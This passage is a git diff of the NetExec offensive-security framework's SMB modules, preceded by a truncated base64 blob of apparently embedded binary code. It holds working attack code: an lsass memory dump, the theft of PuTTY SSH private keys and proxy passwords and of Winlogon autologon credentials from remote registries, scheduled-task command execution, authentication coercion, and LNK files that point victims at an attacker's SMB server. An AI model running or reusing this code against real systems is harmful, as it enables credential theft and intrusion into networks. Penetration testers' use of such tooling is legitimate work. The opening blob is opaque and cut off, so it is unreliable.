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 truncated
         )
         self.procdump = "procdump.exe"
-        self.procdump_path = abspath(TMP_PATH)
+        self.procdump_path = "/tmp/"
         self.dir_result = self.procdump_path
         self.useembeded = True
 
@@ -91,10 +89,10 @@ class NXCModule:
 
             context.log.display(f"Copy {machine_name} to host")
 
-            with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
+            with open(self.dir_result + machine_name, "wb+") as dump_file:
                 try:
                     connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
-                    context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
+                    context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
@@ -110,7 +108,7 @@ class NXCModule:
             except Exception as e:
                 context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
 
-            with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
+            with open(self.dir_result + machine_name, "rb") as dump:
                 try:
                     credz_bh = []
                     try:

nxc/modules/putty.py

@@ -1,221 +0,0 @@
-from datetime import datetime
-from io import BytesIO
-import traceback
-from urllib.parse import unquote
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-from os import makedirs
-from nxc.helpers.logger import highlight
-from nxc.paths import NXC_PATH
-import re
-
-
-class NXCModule:
-    """Module by @NeffIsBack"""
-
-    name = "putty"
-    description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.context = None
-        self.module_options = None
-        self.rrp = None
-
-    def options(self, context, module_options):
-        """No options available"""
-
-    def get_logged_on_users(self):
-        """Enumerate all logged in and loaded Users on System"""
-        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-
-        # Get User Names
-        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
-        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-        # Filter legit users in regex
-        user_objects.remove(".DEFAULT")
-        regex = re.compile(r"^.*_Classes$")
-        return [i for i in user_objects if not regex.match(i)]
-
-    def get_all_users(self):
-        """Get all users that have logged in at some point in time"""
-        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
-        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
-        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-
-        # Get User Names
-        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
-        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-        return user_objects
-
-    def sid_to_name(self, all_users):
-        """Convert SID to Usernames for better readability"""
-        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
-
-        user_dict = {}
-        for user_object in all_users:
-            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
-            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
-            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-            user_dict[user_object] = user_profile_path.split("\\")[-1]
-        return user_dict
-
-    def load_missing_users(self, unloaded_user_objects):
-        """Load missing users into registry to access their registry keys."""
-        for user_object in unloaded_user_objects:
-            # Extract profile Path of NTUSER.DAT
-            reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
-            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
-            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-            # Load Profile
-            reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-
-            self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
-            rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
-            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-    def unload_missing_users(self, unloaded_user_objects):
-        """If some user were not logged in at the beginning we unload them from registry."""
-        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-
-        for user_object in unloaded_user_objects:
-            self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
-            try:
-                rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
-            except Exception as e:
-                self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
-                self.context.log.debug(traceback.format_exc())
-        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-    def get_private_key_paths(self, all_users):
-        """Get all private key paths for all users"""
-        sessions = []
-        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-
-        for user in all_users:
-            try:
-                key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
-                reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-                self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
-
-                # Get Session Names
-                session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
-                rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-                # Extract stored Session infos
-                for session_name in session_names:
-                    key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
-
-                    # Get private Key Path
-                    private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
-                    proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
-                    proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
-                    proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
-                    proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
-
-                    # Session infos
-                    hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
-                    port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
-                    protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
-                    sessions.append({
-                        "user": self.user_dict[user],
-                        "session_name": unquote(session_name),
-                        "hostname": hostname,
-                        "port": port,
-                        "protocol": protocol,
-                        "private_key_path": private_key_path,
-                        "proxy_host": proxy_host,
-                        "proxy_port": proxy_port,
-                        "proxy_username": proxy_username,
-                        "proxy_password": proxy_password
-                    })
-                    rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-            except DCERPCException as e:
-                if str(e).find("ERROR_FILE_NOT_FOUND"):
-                    self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
-            except Exception as e:
-                self.context.log.fail(f"Unexpected error: {e}")
-                self.context.log.debug(traceback.format_exc())
-        return sessions
-
-    def extract_session(self, sessions):
-        proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
-        for session in sessions:
-            if session["private_key_path"]:
-                makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
-                share = session["private_key_path"].split(":")[0] + "$"
-                file_path = session["private_key_path"].split(":")[1]
-                download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
-
-                buf = BytesIO()
-                with open(download_path, "wb") as file:
-                    try:
-                        self.connection.conn.getFile(share, file_path, buf.write)
-                    except Exception as e:
-                        if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
-                            self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
-                        else:
-                            self.context.log.exception(f"Error downloading private key: {e}")
-                        continue
-                    file.write(buf.getvalue())
-                self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
-                self.context.log.highlight(f"Sessionname: {session['session_name']}")
-                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
-                self.context.log.highlight(f"Protocol: {session['protocol']}")
-            if session["proxy_password"]:
-                self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
-                self.context.log.highlight(f"Sessionname: {session['session_name']}")
-                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
-                self.context.log.highlight(f"Protocol: {session['protocol']}")
-                self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
-                self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
-                self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
-                with open(proxycreds_file, "a") as f:
-                    f.write("================\n")
-                    f.write(f"User: {session['user']}\n")
-                    f.write(f"Sessionname: {session['session_name']}\n")
-                    f.write(f"Host: {session['hostname']}:{session['port']}\n")
-                    f.write(f"Protocol: {session['protocol']}\n")
-                    f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
-                    f.write(f"Proxy Username: {session['proxy_username']}\n")
-                    f.write(f"Proxy Password: {session['proxy_password']}\n")
-                self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
-
-    def on_admin_login(self, context, connection):
-        self.connection = connection
-        self.context = context
-
-        try:
-            self.rrp = RemoteOperations(connection.conn, connection.kerberos)
-            self.rrp.enableRegistry()
-
-            all_users = self.get_all_users()
-            loaded_user_objects = self.get_logged_on_users()
-            self.user_dict = self.sid_to_name(all_users)
-
-            # Users which must be loaded into registry:
-            unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
-            self.load_missing_users(unloaded_user_objects)
-
-            sessions = self.get_private_key_paths(all_users)
-            if sessions:
-                self.extract_session(sessions)
-            else:
-                self.context.log.info("No saved putty sessions found in registry")
-
-            self.unload_missing_users(unloaded_user_objects)
-        except Exception as e:
-            context.log.exception(f"Error: {e}")
-        finally:
-            self.rrp.finish()

nxc/modules/rdcman.py

@@ -103,7 +103,6 @@ class NXCModule:
                     pvkbytes=self.pvkbytes,
                     passwords=plaintexts,
                     nthashes=nthashes,
-                    dpapiSystem={},
                 )
                 self.masterkeys = masterkeys_triage.triage_masterkeys()
             except Exception as e:

nxc/modules/rdp.py

@@ -83,7 +83,7 @@ class NXCModule:
 
             wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
 
-            if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
+            if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
                 if "ram" in self.action:
                     # Nt version under 6 not support RAM.
                     try:
@@ -101,7 +101,7 @@ class NXCModule:
                             context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
                         else:
                             context.log.fail(str(e))
-                wmi_rdp._RdpWmi__dcom.disconnect()
+                wmi_rdp._rdp_WMI__dcom.disconnect()
 
 
 class RdpSmb:
@@ -218,7 +218,6 @@ class RdpWmi:
         self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         self.__doKerberos = connection.kerberos
         self.__kdcHost = connection.kdcHost
-        self.__remoteHost = connection.host
         self.__aesKey = connection.aesKey
         self.__timeout = timeout
 
@@ -234,12 +233,11 @@ class RdpWmi:
                 oxidResolver=True,
                 doKerberos=self.__doKerberos,
                 kdcHost=self.__kdcHost,
-                remoteHost=self.__remoteHost,
             )
 
             i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
             if self.__currentprotocol == "smb":
-                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
+                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
                 if not flag or not self.__stringBinding:
                     error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
 

nxc/modules/reg-winlogon.py

@@ -1,46 +0,0 @@
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-
-class NXCModule:
-    r"""
-    WinLogon AutoLogon: extract the credential from the following registry hive
-    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
-    Module by @pentest_swissky
-    """
-
-    name = "reg-winlogon"
-    description = "Collect autologon credential stored in the registry"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        """ """
-
-    def on_admin_login(self, context, connection):
-        remoteOps = RemoteOperations(connection.conn, False)
-        remoteOps.enableRegistry()
-
-        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
-        regHandle = ans["phKey"]
-        ans = rrp.hBaseRegOpenKey(
-            remoteOps._RemoteOperations__rrp,
-            regHandle,
-            "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
-        )
-        keyHandle = ans["phkResult"]
-        
-        reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
-        for reg_key in reg_keys:
-            try:
-                dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
-                context.log.highlight(f"{reg_key}: {reg_value}")
-            except Exception:
-                context.log.highlight(f"{reg_key}:")
-
-        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
-        remoteOps.finish()

nxc/modules/schtask_as.py

@@ -4,7 +4,6 @@ from datetime import datetime
 from impacket.dcerpc.v5.dtypes import NULL
 from impacket.dcerpc.v5 import tsch, transport
 from nxc.helpers.misc import gen_random_string
-from nxc.paths import TMP_PATH
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
 
 
@@ -53,7 +52,6 @@ class NXCModule:
                 self.cmd,
                 connection.kerberos,
                 connection.aesKey,
-                connection.host,
                 connection.kdcHost,
                 connection.hash,
                 self.logger,
@@ -79,7 +77,7 @@ class NXCModule:
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -91,7 +89,6 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
-        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -111,7 +108,6 @@ class TSCH_EXEC:
 
         stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
-        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -256,7 +252,7 @@ class TSCH_EXEC:
             if fileless:
                 while True:
                     try:
-                        with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
+                        with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
                             self.output_callback(output.read())
                         break
                     except OSError:

nxc/modules/scuffy.py

@@ -1,6 +1,5 @@
 import ntpath
 from sys import exit
-from nxc.paths import TMP_PATH
 
 
 class NXCModule:
@@ -45,7 +44,7 @@ class NXCModule:
             exit(1)
 
         self.scf_name = module_options["NAME"]
-        self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
+        self.scf_path = f"/tmp/{self.scf_name}.scf"
         self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
 
         if not self.cleanup:

nxc/modules/shadowcoerce.py

@@ -43,11 +43,10 @@ class NXCModule:
             lmhash=connection.lmhash,
             nthash=connection.nthash,
             aesKey=connection.aesKey,
-            target=connection.host if not connection.kerberos else connection.remoteName,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
             pipe="FssagentRpc",
             doKerberos=connection.kerberos,
             dcHost=connection.kdcHost,
-            remoteHost=connection.host,
         )
 
         # If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -62,9 +61,8 @@ class NXCModule:
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey,
-                target=connection.host if not connection.kerberos else connection.remoteName,
+                target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
                 pipe="FssagentRpc",
-                remoteHost=connection.host,
             )
 
         if self.ipsc:
@@ -196,7 +194,6 @@ class CoerceAuth:
         pipe,
         doKerberos,
         dcHost,
-        remoteHost,
     ):
         binding_params = {
             "FssagentRpc": {
@@ -205,7 +202,7 @@ class CoerceAuth:
             },
         }
         rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
-        rpctransport.setRemoteHost(remoteHost)
+        dce = rpctransport.get_dce_rpc()
 
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(
@@ -216,8 +213,7 @@ class CoerceAuth:
                 nthash=nthash,
                 aesKey=aesKey,
             )
-        
-        dce = rpctransport.get_dce_rpc()
+
         dce.set_credentials(*rpctransport.get_credentials())
         dce.set_auth_type(RPC_C_AUTHN_WINNT)
         dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

nxc/modules/slinky.py

@@ -1,100 +1,77 @@
 import pylnk3
 import ntpath
 from sys import exit
-from nxc.paths import TMP_PATH
+
 
 class NXCModule:
     """
     Original idea and PoC by Justin Angel (@4rch4ngel86)
     Module by @byt3bl33d3r
-    Updated by @Marshall-Hallenbeck
     """
 
     name = "slinky"
-    description = "Creates windows shortcuts with the icon attribute containing a URI to the specified  server (default SMB) in all shares with write permissions"
+    description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
     supported_protocols = ["smb"]
     opsec_safe = False
     multiple_hosts = True
 
-    def __init__(self):
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
         self.server = None
-        self.remote_file_path = None
-        self.local_lnk_path = None
+        self.file_path = None
+        self.lnk_path = None
         self.lnk_name = None
-        self.ico_uri = None
-        self.shares = None
-        self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
         self.cleanup = None
 
     def options(self, context, module_options):
-        r"""
-        SERVER        IP of the listening server (running Responder, etc)
-        NAME          LNK file name written to the share(s)
-        ICO_URI       Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
-        SHARES        Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
-        IGNORE        Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
+        """
+        SERVER        IP of the SMB server
+        NAME          LNK file name
         CLEANUP       Cleanup (choices: True or False)
         """
         self.cleanup = False
 
         if "CLEANUP" in module_options:
             self.cleanup = bool(module_options["CLEANUP"])
-            context.log.debug("Cleanup set to True")
 
         if "NAME" not in module_options:
             context.log.fail("NAME option is required!")
             exit(1)
-            
-        if "SHARES" in module_options:
-            self.shares = module_options["SHARES"].split(",")
-            context.log.debug(f"Shares to write to: {self.shares}")
-            
-        if "IGNORE" in module_options:
-            self.ignore_shares = module_options["IGNORE"].split(",")
-            context.log.debug(f"Ignoring shares: {self.ignore_shares}")
 
         if not self.cleanup and "SERVER" not in module_options:
             context.log.fail("SERVER option is required!")
             exit(1)
-            
-        if "ICO_URI" in module_options:
-            self.ico_uri = module_options["ICO_URI"]
-            context.log.debug("Overriding")
-            
-            
+
         self.lnk_name = module_options["NAME"]
-        self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
-        self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
+        self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
+        self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
 
         if not self.cleanup:
             self.server = module_options["SERVER"]
-            link = pylnk3.create(self.local_lnk_path)
-            link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
+            link = pylnk3.create(self.lnk_path)
+            link.icon = f"\\\\{self.server}\\icons\\icon.ico"
             link.save()
 
     def on_login(self, context, connection):
         shares = connection.shares()
-        if shares:
-            slinky_logger = context.log.init_log_file()
-            context.log.add_file_log(slinky_logger)
-            
-            for share in shares:
-                if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
-                    if self.shares is not None and share["name"] not in self.shares:
-                        context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
-                        continue
-                    
-                    context.log.success(f"Found writable share: {share['name']}")
-                    if not self.cleanup:
-                        with open(self.local_lnk_path, "rb") as lnk:
-                            try:
-                                connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
-                                context.log.success(f"Created LNK file on the {share['name']} share")
-                            except Exception as e:
-                                context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
-                    else:
+        for share in shares:
+            if "WRITE" in share["access"] and share["name"] not in [
+                "C$",
+                "ADMIN$",
+                "NETLOGON",
+            ]:
+                context.log.success(f"Found writable share: {share['name']}")
+                if not self.cleanup:
+                    with open(self.lnk_path, "rb") as lnk:
                         try:
-                            connection.conn.deleteFile(share["name"], self.remote_file_path)
-                            context.log.success(f"Deleted LNK file on the {share['name']} share")
+                            connection.conn.putFile(share["name"], self.file_path, lnk.read)
+                            context.log.success(f"Created LNK file on the {share['name']} share")
                         except Exception as e:
-                            context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+                            context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
+                else:
+                    try:
+                        connection.conn.deleteFile(share["name"], self.file_path)
+                        context.log.success(f"Deleted LNK file on the {share['name']} share")
+                    except Exception as e:
+                        context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

nxc/modules/spider_plus.py

@@ -1,10 +1,8 @@
 import json
 import errno
-from os.path import abspath, join, split, exists, splitext, getsize, sep
-from os import makedirs, remove, stat
+import os
 import time
 import traceback
-from nxc.paths import TMP_PATH
 from nxc.protocols.smb.remotefile import RemoteFile
 from impacket.smb3structs import FILE_READ_DATA
 from impacket.smbconnection import SessionError
@@ -38,7 +36,7 @@ def human_time(timestamp):
 def make_dirs(path):
     """Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
     try:
-        makedirs(path)
+        os.makedirs(path)
     except OSError as e:
         if e.errno != errno.EEXIST:
             raise
@@ -172,13 +170,13 @@ class SMBSpiderPlus:
         The folder path and filename are then obtained separately.
         """
         # Remove the backslash before the remote host part and replace slashes with the appropriate path separator
-        remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
+        remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
 
         # Split the path to obtain the folder path and the filename
-        folder, filename = split(remote_file_path)
+        folder, filename = os.path.split(remote_file_path)
 
         # Join the output folder with the folder path to get the final local folder path
-        folder = join(self.output_folder, folder)
+        folder = os.path.join(self.output_folder, folder)
 
         return folder, filename
 
@@ -285,7 +283,7 @@ class SMBSpiderPlus:
             return
 
         # Check file extension filter.
-        _, file_extension = splitext(file_path)
+        _, file_extension = os.path.splitext(file_path)
         if file_extension:
